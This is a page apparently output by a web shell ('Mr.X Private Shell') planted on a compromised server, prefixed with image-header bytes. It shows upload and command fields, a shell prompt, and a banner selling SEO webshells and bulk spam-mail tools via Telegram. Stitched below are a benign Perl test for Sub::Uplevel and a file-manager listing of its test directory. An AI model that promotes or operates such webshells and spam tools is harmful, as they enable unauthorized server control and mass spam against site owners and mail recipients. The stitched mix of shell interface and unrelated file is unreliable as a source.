����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#!/usr/bin/perl

use strict;
BEGIN { $^W = 1 }

use Test::More tests => 7;

# Goal of these tests: confirm that Sub::Uplevel will honor (use) a
# CORE::GLOBAL::caller that occurs after Sub::Uplevel is loaded

#--------------------------------------------------------------------------#
# define a custom caller function that reverses the package name
#--------------------------------------------------------------------------#

sub _reverse_caller(;$) { 
    my $height = $_[0];
    my @caller = CORE::caller(++$height);
    $caller[0] = defined $caller[0] ? reverse $caller[0] : undef;
    if( wantarray and !@_ ) {
        return @caller[0..2];
    }
    elsif (wantarray) {
        return @caller;
    }
    else {
        return $caller[0];
    }
}

#--------------------------------------------------------------------------#
# load Sub::Uplevel then redefine CORE::GLOBAL::caller
#--------------------------------------------------------------------------#

BEGIN {
    ok( ! defined *CORE::GLOBAL::caller{CODE}, 
        "no global override yet" 
    );

    use_ok('Sub::Uplevel');

    is( *CORE::GLOBAL::caller{CODE}, \&Sub::Uplevel::_normal_caller,
        "Sub::Uplevel's normal caller override in place"
    );

    # old style no warnings 'redefine'
    my $old_W = $^W;
    $^W = 0;
        
    *CORE::GLOBAL::caller = \&_reverse_caller;
    $^W = $old_W

}

is( *CORE::GLOBAL::caller{CODE}, \&_reverse_caller, 
    "added new, custom caller override"
);

#--------------------------------------------------------------------------#
# define subs *after* caller has been redefined in BEGIN
#--------------------------------------------------------------------------#

sub test_caller { return scalar caller }

sub uplevel_caller { return uplevel 1, \&test_caller }

sub test_caller_w_uplevel { return uplevel_caller }

#--------------------------------------------------------------------------#
# Test for reversed package name both inside and outside an uplevel call
#--------------------------------------------------------------------------#

is( scalar caller(), undef,
    "caller from main package is undef"
);

is( test_caller(), reverse("main"),
    "caller from subroutine calls custom routine"
);

is( test_caller_w_uplevel(), reverse("main"),
    "caller from uplevel subroutine calls custom routine"
);


Filemanager

Name Type Size Permission Actions
lib Folder 0755
00-report-prereqs.dd File 2.65 KB 0644
00-report-prereqs.t File 5.45 KB 0644
01_die_check.t File 458 B 0644
02_uplevel.t File 4.46 KB 0644
03_nested_uplevels.t File 1.64 KB 0644
04_honor_later_override.t File 2.28 KB 0644
05_honor_prior_override.t File 2.58 KB 0644
06_db_args.t File 545 B 0644
07_uplevel_too_high.t File 720 B 0644
08_exporter.t File 310 B 0644
09_emptylist.t File 516 B 0644